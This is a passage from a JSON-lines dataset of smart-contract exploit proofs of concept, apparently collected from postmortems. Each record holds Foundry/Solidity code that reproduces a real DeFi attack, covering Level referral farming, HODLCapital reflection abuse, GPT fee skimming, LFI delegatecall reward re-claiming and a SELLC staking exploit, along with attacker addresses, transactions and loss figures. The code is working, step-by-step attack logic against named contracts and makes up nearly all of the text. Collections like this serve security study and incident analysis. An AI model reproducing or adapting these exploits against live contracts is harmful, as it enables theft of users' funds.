address _to) external;\n function setReferrer(\n address _referrer\n ) external;\n function currentEpoch() external view returns (uint256);\n function claimable(uint256 _epoch, address _user) external view returns (uint256);\n function setEnableNextEpoch(\n bool _enable\n ) external;\n function nextEpoch() external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 LVL = IERC20(0xB64E280e9D1B5DbEc4AcceDb2257A87b400DB149);\n ILevelReferralControllerV2 LevelReferralControllerV2 =\n ILevelReferralControllerV2(0x977087422C008233615b572fBC3F209Ed300063a);\n IPool pool = IPool(0xA5aBFB56a78D2BD4689b25B8A77fd49Bb0675874);\n address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;\n Exploiter exploiter;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 27_830_139);\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(LVL), \"LVL\");\n cheats.label(address(LevelReferralControllerV2), \"LevelReferralControllerV2\");\n cheats.label(address(pool), \"pool\");\n cheats.label(address(dodo), \"dodo\");\n }\n\n function testExploit() external {\n deal(address(WBNB), address(this), 95 * 1e18);\n exploiter = new Exploiter(address(this));\n LevelReferralControllerV2.setReferrer(address(exploiter));\n createReferral();\n WashTrading();\n vm.warp(block.timestamp + 1 * 60 * 60);\n vm.startPrank(0x6023C6afa26a68E05672F111FdbB1De93cBAc621);\n LevelReferralControllerV2.setEnableNextEpoch(true);\n LevelReferralControllerV2.nextEpoch();\n vm.stopPrank();\n vm.warp(block.timestamp + 60 * 60);\n claim();\n vm.warp(block.timestamp + 5 * 60 * 60);\n for (uint256 i; i < 11; i++) {\n claimReward(2000);\n vm.warp(block.timestamp + i * 15);\n }\n\n emit log_named_decimal_uint(\n \"Attacker LVL Token balance after exploit\", LVL.balanceOf(address(this)), LVL.decimals()\n );\n }\n\n function createReferral() internal {\n for (uint256 i; i < 15; i++) {\n new Referral(address(exploiter));\n }\n for (uint256 i; i < 15; i++) {\n new Referral(address(this));\n }\n }\n\n function WashTrading() internal {\n DVM(dodo).flashLoan(300 * 1e18, 0, address(this), abi.encode(uint256(20)));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n uint256 amount = abi.decode(data, (uint256));\n for (uint256 i; i < amount; i++) {\n WBNB.transfer(address(pool), WBNB.balanceOf(address(this)));\n pool.swap(address(WBNB), address(USDT), 1, address(this), abi.encode(address(exploiter)));\n USDT.transfer(address(pool), USDT.balanceOf(address(this)));\n pool.swap(address(USDT), address(WBNB), 1, address(this), abi.encode(address(exploiter)));\n }\n WBNB.transfer(address(exploiter), WBNB.balanceOf(address(this)));\n exploiter.swap(20);\n WBNB.transfer(dodo, 300 * 1e18);\n }\n\n function claim() internal {\n LevelReferralControllerV2.claimable(13, address(this));\n uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;\n LevelReferralControllerV2.claim(tokenID, address(this));\n exploiter.claim(tokenID);\n }\n\n function claimReward(\n uint256 amount\n ) internal {\n uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;\n uint256[] memory _epoches = new uint256[](amount);\n for (uint256 i; i < amount; i++) {\n _epoches[i] = tokenID;\n }\n LevelReferralControllerV2.claimable(_epoches[0], address(this));\n LevelReferralControllerV2.claimMultiple(_epoches, address(this));\n exploiter.claimMultiple(amount);\n }\n}\n\ncontract Exploiter {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IPool pool = IPool(0xA5aBFB56a78D2BD4689b25B8A77fd49Bb0675874);\n ILevelReferralControllerV2 LevelReferralControllerV2 =\n ILevelReferralControllerV2(0x977087422C008233615b572fBC3F209Ed300063a);\n\n constructor(\n address _referrer\n ) {\n LevelReferralControllerV2.setReferrer(_referrer);\n }\n\n function swap(\n uint256 amount\n ) external {\n for (uint256 i; i < amount; i++) {\n WBNB.transfer(address(pool), WBNB.balanceOf(address(this)));\n pool.swap(address(WBNB), address(USDT), 1, address(this), abi.encode(address(msg.sender)));\n USDT.transfer(address(pool), USDT.balanceOf(address(this)));\n pool.swap(address(USDT), address(WBNB), 1, address(this), abi.encode(address(msg.sender)));\n }\n WBNB.transfer(msg.sender, WBNB.balanceOf(address(this)));\n }\n\n function claim(\n uint256 tokenId\n ) external {\n LevelReferralControllerV2.claim(tokenId, msg.sender);\n }\n\n function claimMultiple(\n uint256 amount\n ) external {\n uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;\n uint256[] memory _epoches = new uint256[](amount);\n for (uint256 i; i < amount; i++) {\n _epoches[i] = tokenID;\n }\n LevelReferralControllerV2.claimMultiple(_epoches, msg.sender);\n }\n}\n\ncontract Referral {\n ILevelReferralControllerV2 LevelReferralControllerV2 =\n ILevelReferralControllerV2(0x977087422C008233615b572fBC3F209Ed300063a);\n\n constructor(\n address _referrer\n ) {\n LevelReferralControllerV2.setReferrer(_referrer);\n }\n}\n", "type": "exploit_poc", "protocol": "Level", "date": "2023-05", "file_name": "Level_exp.sol", "attack_vector": "flash_loan", "content_hash": "ebd077ed948a3671", "collected_at": "2026-01-07T10:59:16.521643", "_source": "postmortems", "chain": "bsc", "block_number": 27830139, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "Level Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~2.3 ETH\n// Attacker : https://etherscan.io/address/0x4e998316ec31d2f3078f8f57b952bfae54728be1\n// Attack Contract : https://etherscan.io/address/0x6943e74d1109a728f25a2e634ba3d74e9e476aed\n// Attacker Transaction : https://etherscan.io/tx/0xedc214a62ff6fd764200ddaa8ceae54f842279eadab80900be5f29d0b75212df\n\n// @Analysis\n// https://explorer.phalcon.xyz/tx/eth/0xedc214a62ff6fd764200ddaa8ceae54f842279eadab80900be5f29d0b75212df\n\ninterface IHODL is IERC20 {\n function deliver(\n uint256 amount\n ) external;\n function isExcluded(\n address account\n ) external returns (bool);\n function isExcludedFromFee(\n address account\n ) external returns (bool);\n function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external returns (uint256);\n function tokenFromReflection(\n uint256 rAmount\n ) external returns (uint256);\n}\n\ncontract HODLCapitalExploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IAaveFlashloan aavePool = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n IUniswapV2Pair hodl_weth = IUniswapV2Pair(0x28E6cAB57d87E6F85ff650Fb0a7be9BE5e1897d4);\n IHODL hodl = IHODL(0xEdA47E13fD1192E32226753dC2261C4A14908fb7);\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n\n uint256 amount1000 = 1000 ether;\n address excludedFromFeeAddress = 0xC9D76A540AC88182119E1AAd80136FC61Cf55fBD;\n uint256 rOwned;\n uint256 slot8;\n uint256 rTotal;\n uint256 times;\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\");\n\n cheats.label(address(aavePool), \"AavePoolV3\");\n cheats.label(address(hodl_weth), \"HODL-WETH UniswapPair\");\n cheats.label(address(hodl), \"HODL\");\n cheats.label(address(weth), \"WETH\");\n cheats.label(address(router), \"UniswapV2Router\");\n }\n\n function testExploit() public {\n cheats.rollFork(17_220_892);\n emit log_named_decimal_uint(\"Attacker ETH balance before exploit\", weth.balanceOf(address(this)), 18);\n // console.log(\"excludedFromFee:\", hodl.isExcludedFromFee(excludedFromFeeAddress));\n // console.log(\"excluded:\", hodl.isExcluded(excludedFromFeeAddress));\n\n weth.approve(address(aavePool), type(uint256).max);\n aavePool.flashLoanSimple(address(this), address(weth), 140 ether, new bytes(1), 0);\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", weth.balanceOf(address(this)), 18);\n }\n\n function getAmountIn(\n uint256 amountOut,\n uint256 reserveIn,\n uint256 reserveOut\n ) internal pure returns (uint256 amountIn) {\n require(amountOut > 0, \"UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT\");\n require(reserveIn > 0 && reserveOut > 0, \"UniswapV2Library: INSUFFICIENT_LIQUIDITY\");\n uint256 numerator = reserveIn * amountOut * 1000;\n uint256 denominator = (reserveOut - amountOut) * 997;\n amountIn = (numerator / denominator) + 1;\n }\n\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) internal pure returns (uint256 amountOut) {\n require(amountIn > 0, \"UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT\");\n require(reserveIn > 0 && reserveOut > 0, \"UniswapV2Library: INSUFFICIENT_LIQUIDITY\");\n uint256 amountInWithFee = amountIn * 997;\n uint256 numerator = amountInWithFee * reserveOut;\n uint256 denominator = (reserveIn * 1000) + amountInWithFee;\n amountOut = numerator / denominator;\n }\n\n function executeOperation(\n address, /*asset*/\n uint256, /*amount*/\n uint256, /*premium*/\n address, /*initator*/\n bytes calldata /*params*/\n ) external payable returns (bool) {\n times = 2;\n (uint256 reserve0, uint256 reserve1,) = hodl_weth.getReserves();\n emit log_named_uint(\"Reserve0\", reserve0);\n emit log_named_uint(\"Reserve1\", reserve1);\n // uint256 amountIn = getAmountIn(amount1000 / 100000 * 10001, 13387083970661484684, 999631170221975669182);\n uint256 amountIn = getAmountIn(amount1000 / 100_000 * 10_001, reserve0, reserve1);\n weth.transfer(address(hodl_weth), amountIn);\n hodl_weth.swap(0, amount1000 / 100_000 * 10_001, address(this), new bytes(0));\n hodl.transfer(excludedFromFeeAddress, 1);\n rTotal = hodl.reflectionFromToken(amount1000, false);\n uint256 attackerBalance = hodl.balanceOf(address(this));\n uint256 attackerROwned = hodl.reflectionFromToken(attackerBalance, false);\n rOwned = attackerROwned;\n func1c44(10, 1031);\n\n attackerBalance = hodl.balanceOf(address(this));\n attackerROwned = hodl.reflectionFromToken(attackerBalance, false);\n rOwned = attackerROwned;\n func1c44(10, 1032);\n\n attackerBalance = hodl.balanceOf(address(this));\n attackerROwned = hodl.reflectionFromToken(attackerBalance, false);\n rOwned = attackerROwned;\n func1c44(10, 1032);\n\n attackerBalance = hodl.balanceOf(address(this));\n attackerROwned = hodl.reflectionFromToken(attackerBalance, false);\n rOwned = attackerROwned;\n func1c44(10, 1033);\n\n attackerBalance = hodl.balanceOf(address(this));\n attackerROwned = hodl.reflectionFromToken(attackerBalance, false);\n rOwned = attackerROwned;\n func1c44(10, 1076);\n\n func1c44(10, 1053);\n func1c44(5, 1024);\n func1eae(10_000);\n\n rTotal = hodl.reflectionFromToken(amount1000, false);\n func1c44(10, 1098);\n func1c44(10, 1084);\n func1c44(10, 1069);\n func1c44(10, 1052);\n func1c44(10, 1032);\n func1eae(5000);\n\n rTotal = hodl.reflectionFromToken(amount1000, false);\n func1c44(10, 1052);\n func1c44(10, 1040);\n func1c44(10, 1026);\n func1c44(3, 1010);\n func1eae(200);\n\n rTotal = hodl.reflectionFromToken(amount1000, false);\n func1c44(2, 1007);\n\n (reserve0, reserve1,) = hodl_weth.getReserves();\n amountIn = getAmountIn(reserve1 * 9000 / 10_000, reserve0, reserve1);\n weth.transfer(address(hodl_weth), amountIn);\n hodl_weth.swap(0, reserve1 * 9000 / 10_000, excludedFromFeeAddress, new bytes(0));\n\n for (uint256 i = 0; i < 15; i++) {\n func2574(900);\n }\n\n hodl.approve(address(this), type(uint256).max);\n hodl.transferFrom(address(this), excludedFromFeeAddress, 1);\n for (uint256 i = 0; i < 15; i++) {\n func2574(900);\n }\n\n hodl.transferFrom(address(this), excludedFromFeeAddress, 1);\n for (uint256 i = 0; i < 15; i++) {\n func2574(900);\n }\n\n hodl.transferFrom(address(this), excludedFromFeeAddress, 1);\n for (uint256 i = 0; i < 8; i++) {\n func2574(900);\n }\n\n func2574(700);\n func2574(80);\n func26cd(900);\n func26cd(100);\n func26cd(42);\n\n uint256 pairBalance = hodl.balanceOf(address(hodl_weth));\n (reserve0, reserve1,) = hodl_weth.getReserves();\n uint256 amountOut = getAmountOut(pairBalance - reserve1, reserve1, reserve0);\n hodl_weth.swap(amountOut, 0, address(this), new bytes(0));\n return true;\n }\n\n function func1c44(uint256 v0, uint256 v1) internal {\n slot8 = v1;\n uint256 v3 = hodl.tokenFromReflection(rTotal / 100 * v0);\n hodl_weth.swap(0, v3, address(this), new bytes(1));\n hodl.transfer(excludedFromFeeAddress, 1);\n }\n\n function func1eae(\n uint256 v0\n ) internal {\n (uint256 reserve0, uint256 reserve1,) = hodl_weth.getReserves();\n uint256 amountIn = getAmountIn(amount1000 / 100_000 * v0, reserve0, reserve1);\n weth.transfer(address(hodl_weth), amountIn);\n hodl_weth.swap(0, amount1000 / 100_000 * v0, address(this), new bytes(0));\n hodl.transfer(excludedFromFeeAddress, 1);\n }\n\n function func2574(\n uint256 v0\n ) internal {\n hodl.deliver(amount1000 * v0 / 1000);\n hodl_weth.skim(excludedFromFeeAddress);\n }\n\n function func26cd(\n uint256 v0\n ) internal {\n hodl.deliver(amount1000 * v0 / 1000);\n }\n\n function uniswapV2Call(\n address, /*sender*/\n uint256, /*amount0*/\n uint256, /*amount1*/\n bytes calldata /*data*/\n ) external {\n if (times > 5) {\n if (times <= 25) {\n uint256 pairBalance = hodl.balanceOf(address(hodl_weth));\n (, uint256 reserve1,) = hodl_weth.getReserves();\n hodl.deliver((reserve1 - pairBalance) * slot8 / 1000);\n times += 1;\n }\n } else {\n uint256 attackerBalance = hodl.balanceOf(address(this));\n uint256 v14 = hodl.reflectionFromToken(attackerBalance, false);\n uint256 v17 = hodl.tokenFromReflection(v14 - rOwned);\n hodl.deliver(v17);\n uint256 pairBalance = hodl.balanceOf(address(hodl_weth));\n (uint256 reserve0, uint256 reserve1,) = hodl_weth.getReserves();\n uint256 amountIn = getAmountIn(reserve1 - pairBalance, reserve0, reserve1);\n weth.transfer(address(hodl_weth), amountIn * slot8 / 1000);\n times += 1;\n }\n }\n}\n", "type": "exploit_poc", "protocol": "HODLCapital", "date": "2023-05", "file_name": "HODLCapital_exp.sol", "attack_vector": "flash_loan", "content_hash": "10d1d919e8e1dcc4", "collected_at": "2026-01-07T10:59:16.521707", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~2.3 ETH", "total_lost_usd": 2.3, "attacker_address": "https://etherscan.io/address/0x4e998316ec31d2f3078f8f57b952bfae54728be1", "attack_contract": "https://etherscan.io/address/0x6943e74d1109a728f25a2e634ba3d74e9e476aed", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~2.3 ETH", "category": "flash-loan", "exploit_code": "function testExploit() public {\n cheats.rollFork(17_220_892);\n emit log_named_decimal_uint(\"Attacker ETH balance before exploit\", weth.balanceOf(address(this)), 18);\n // console.log(\"excludedFromFee:\", hodl.isExcludedFromFee(excludedFromFeeAddress));\n // console.log(\"excluded:\", hodl.isExcluded(excludedFromFeeAddress));\n\n weth.approve(address(aavePool), type(uint256).max);\n aavePool.flashLoanSimple(address(this), address(weth), 140 ether, new bytes(1), 0);\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", weth.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x4e998316ec31d2f3078f8f57b952bfae54728be1", "keyinfo_attack_contract": "https://etherscan.io/address/0x6943e74d1109a728f25a2e634ba3d74e9e476aed", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 8, "quality_estimate": "high", "title": "HODLCapital Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1661424685320634368\n// @TX\n// https://explorer.phalcon.xyz/tx/bsc/0xb77cb34cd01204bdad930d8c172af12462eef58dea16199185b77147d6533391\n// @Summary\n// Token fee machenism broken\n\ncontract CSExp is Test, IDODOCallee {\n IDPPOracle oracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle oracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IDPPOracle oracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle oracle4 = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IDPPOracle oracle5 = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n\n IPancakePair pair = IPancakePair(0x77a684943aA033e2E9330f12D4a1334986bCa3ef);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 GPT = IERC20(0xa1679abEF5Cd376cC9A1C4c2868Acf52e08ec1B3);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_494_868);\n }\n\n function doFlashLoan(\n IDPPOracle oracle\n ) internal {\n oracle.flashLoan(0, BUSD.balanceOf(address(oracle)), address(this), abi.encode(uint256(0)));\n }\n\n function testExp() external {\n emit log_named_decimal_uint(\"[Start] Attacker BUSD Balance\", BUSD.balanceOf(address(this)), 18);\n\n doFlashLoan(oracle1);\n\n emit log_named_decimal_uint(\"[End] Attacker BUSD Balance\", BUSD.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == address(oracle1)) {\n doFlashLoan(oracle2);\n } else if (msg.sender == address(oracle2)) {\n doFlashLoan(oracle3);\n } else if (msg.sender == address(oracle3)) {\n doFlashLoan(oracle4);\n } else if (msg.sender == address(oracle4)) {\n doFlashLoan(oracle5);\n } else {\n // Start attack\n pair.sync();\n BUSD.approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(BUSD);\n path[1] = address(GPT);\n router.swapExactTokensForTokens(100_000 ether, 0, path, address(this), block.timestamp + 100);\n\n GPT.approve(address(this), type(uint256).max);\n for (uint256 i = 0; i < 50; ++i) {\n GPT.transferFrom(address(this), address(pair), 0.5 ether);\n pair.skim(address(this));\n }\n\n path[0] = address(GPT);\n path[1] = address(BUSD);\n uint256 outAmount = router.getAmountsOut(GPT.balanceOf(address(this)), path)[1];\n GPT.transfer(address(pair), GPT.balanceOf(address(this)));\n pair.swap(outAmount, 0, address(this), bytes(\"\"));\n }\n\n BUSD.transfer(msg.sender, quoteAmount);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "GPT", "date": "2023-05", "file_name": "GPT_exp.sol", "attack_vector": "flash_loan", "content_hash": "3113b400e9c046aa", "collected_at": "2026-01-07T10:59:16.521774", "_source": "postmortems", "chain": "unknown", "block_number": 28494868, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.61, "quality_estimate": "low", "title": "GPT Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~36K USD$\n// Attacker : https://polygonscan.com/address/0x11576cb3d8d6328cf319e85b10e09a228e84a8de\n// Attack Contract : https://polygonscan.com/address/0x43623b96936e854f8d85f893011f22ac91e58164\n// Vulnerable Contract : https://polygonscan.com/address/0xfc604b6fd73a1bc60d31be111f798dd0d4137812\n// Attack Tx : https://polygonscan.com/tx/0xdd82fde0cc2fb7bdc078aead655f6d5e75a267a47c33fa92b658e3573b93ef0c\n// Attack Tx : https://polygonscan.com/tx/0x051f80a7ef69e1ffad889ec7e1f7d29a9e80883156b5c8528438b5bb8b7a689a\n\n// @Info\n// Vulnerable Contract Code : https://polygonscan.com/address/0xe6e5f921c8cd480030efb16166c3f83abc85298d#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/AnciliaInc/status/1660767088699666433\n\ninterface IVLFI is IERC20 {\n function claimRewards(\n address to\n ) external;\n function stake(address onBehalfOf, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n IERC20 LFI = IERC20(0x77D97db5615dFE8a2D16b38EAa3f8f34524a0a74);\n IVLFI VLFI = IVLFI(0xfc604b6fD73a1bc60d31be111F798dd0D4137812);\n Claimer claimer;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"polygon\", 43_025_776);\n cheats.label(address(LFI), \"LFI\");\n cheats.label(address(VLFI), \"VLFI\");\n }\n\n function testExploit() external {\n deal(address(LFI), address(this), 86_000 * 1e18);\n claimer = new Claimer();\n LFI.approve(address(VLFI), type(uint256).max);\n VLFI.stake(address(claimer), LFI.balanceOf(address(this)));\n for (uint256 i; i < 200; i++) {\n address newClaimer = claimer.delegate(VLFI.balanceOf(address(claimer)), address(this));\n claimer = Claimer(newClaimer);\n }\n\n emit log_named_decimal_uint(\"Attacker LFI balance after exploit\", LFI.balanceOf(address(this)), LFI.decimals());\n }\n\n function claimReward(uint256 VLFITransferAmount, address owner) external returns (address) {\n VLFI.claimRewards(owner);\n claimer = new Claimer();\n VLFI.transfer(address(claimer), VLFITransferAmount);\n return address(claimer);\n }\n}\n\ncontract Claimer is Test {\n IERC20 LFI = IERC20(0x77D97db5615dFE8a2D16b38EAa3f8f34524a0a74);\n IVLFI VLFI = IVLFI(0xfc604b6fD73a1bc60d31be111F798dd0D4137812);\n Claimer claimer;\n\n function delegate(uint256 VLFITransferAmount, address owner) external returns (address) {\n (, bytes memory returnData) =\n msg.sender.delegatecall(abi.encodeWithSignature(\"claimReward(uint256,address)\", VLFITransferAmount, owner));\n return abi.decode(returnData, (address));\n }\n}\n", "type": "exploit_poc", "protocol": "LFI", "date": "2023-05", "file_name": "LFI_exp.sol", "attack_vector": null, "content_hash": "b8af0f0eb6022a94", "collected_at": "2026-01-07T10:59:16.521823", "_source": "postmortems", "chain": "polygon", "block_number": 43025776, "total_lost_raw": "~36K USD$", "total_lost_usd": 36000.0, "attacker_address": "https://polygonscan.com/address/0x11576cb3d8d6328cf319e85b10e09a228e84a8de", "attack_contract": "https://polygonscan.com/address/0x43623b96936e854f8d85f893011f22ac91e58164", "vulnerable_contract": "https://polygonscan.com/address/0xfc604b6fd73a1bc60d31be111f798dd0d4137812", "attack_tx": "https://polygonscan.com/tx/0xdd82fde0cc2fb7bdc078aead655f6d5e75a267a47c33fa92b658e3573b93ef0c", "postmortem_url": null, "twitter_url": "https://twitter.com/AnciliaInc/status/1660767088699666433", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~36K USD$", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~36K USD$", "keyinfo_attacker": "https://polygonscan.com/address/0x11576cb3d8d6328cf319e85b10e09a228e84a8de", "keyinfo_attack_contract": "https://polygonscan.com/address/0x43623b96936e854f8d85f893011f22ac91e58164", "keyinfo_vulnerable_contract": "https://polygonscan.com/address/0xfc604b6fd73a1bc60d31be111f798dd0d4137812", "keyinfo_attack_tx": "https://polygonscan.com/tx/0xdd82fde0cc2fb7bdc078aead655f6d5e75a267a47c33fa92b658e3573b93ef0c", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/AnciliaInc/status/1660767088699666433", "funds_lost_formatted": "$36.0K", "content_richness_score": 5.41, "quality_estimate": "medium", "title": "LFI Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~95K US$\n// Attacker : https://bscscan.com/address/0xc67af66b8a72d33dedd8179e1360631cf5169160\n// Attack Contract : https://bscscan.com/address/0xf635fea87f0a8a444ede1dbb698d875dbb417829\n// Vulnerable Contract : https://bscscan.com/address/0x274b3e185c9c8f4ddef79cb9a8dc0d94f73a7675\n// Attack Tx : https://bscscan.com/tx/0x59ed06fd0d44aec351bed54f57eccec65874da5a25a0aa71e348611710ec05f3\n// Attack Tx : https://bscscan.com/tx/0x904e48ccc1a1eada85f2e3a6444debc428c55f8652ebbebe26e77d02be2902bf\n// Attack Tx : https://bscscan.com/tx/0x247e61bd0f41f9ec56a99558e9bbb8210d6375c2ed6efa4663ee6a960349b46d\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x274b3e185c9c8f4ddef79cb9a8dc0d94f73a7675#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/AnciliaInc/status/1656337400329834496\n// Twitter Guy : https://twitter.com/AnciliaInc/status/1656341587054702598\n\ninterface IStakingRewards {\n function addLiquidity(address _token, address token1, uint256 amount1) external;\n function sell(address token, address token1, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 QIQI = IERC20(0x8121D345b16469F38Bd3b82EE2a547f6Be54f9C9);\n IERC20 SELLC = IERC20(0xa645995e9801F2ca6e2361eDF4c2A138362BADe4);\n IUniswapV2Factory Factory = IUniswapV2Factory(0x2c37655f8D942f2411d9d85a5FE580C156305070);\n Uni_Router_V2 Router = Uni_Router_V2(0xBDDFA43dbBfb5120738C922fa0212ef1E4a0850B);\n Uni_Router_V2 officalRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IStakingRewards StakingRewards = IStakingRewards(0x274b3e185c9c8f4ddEF79cb9A8dC0D94f73A7675);\n Uni_Pair_V2 SellQILP = Uni_Pair_V2(0x4cd4Bf5079Fc09d6989B4b5B42b113377AD8d565);\n Uni_Pair_V2 customLP;\n SHITCOIN MYTOKEN;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_092_673);\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(QIQI), \"QIQI\");\n cheats.label(address(SELLC), \"SELLC\");\n cheats.label(address(Factory), \"Factory\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(officalRouter), \"officalRouter\");\n cheats.label(address(StakingRewards), \"StakingRewards\");\n cheats.label(address(SellQILP), \"SellQILP\");\n }\n\n function testExploit() public {\n deal(address(WBNB), address(this), 3 * 1e18);\n deal(address(QIQI), address(this), 3188 * 1e18);\n init();\n init2();\n process(23);\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function init() internal {\n WBNB.approve(address(officalRouter), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(SELLC);\n officalRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( // swap 3 WBNB to SELLC\n 3 * 1e18, 0, path, address(this), block.timestamp);\n SELLC.approve(address(Router), type(uint256).max);\n QIQI.approve(address(Router), type(uint256).max);\n Router.addLiquidity(\n address(SELLC),\n address(QIQI),\n SELLC.balanceOf(address(this)),\n QIQI.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n ); // add SELLC-QIQI Liquidity\n MYTOKEN = new SHITCOIN();\n MYTOKEN.mint(1 * 1e18);\n this.mint(100);\n this.approve(address(StakingRewards), type(uint256).max);\n 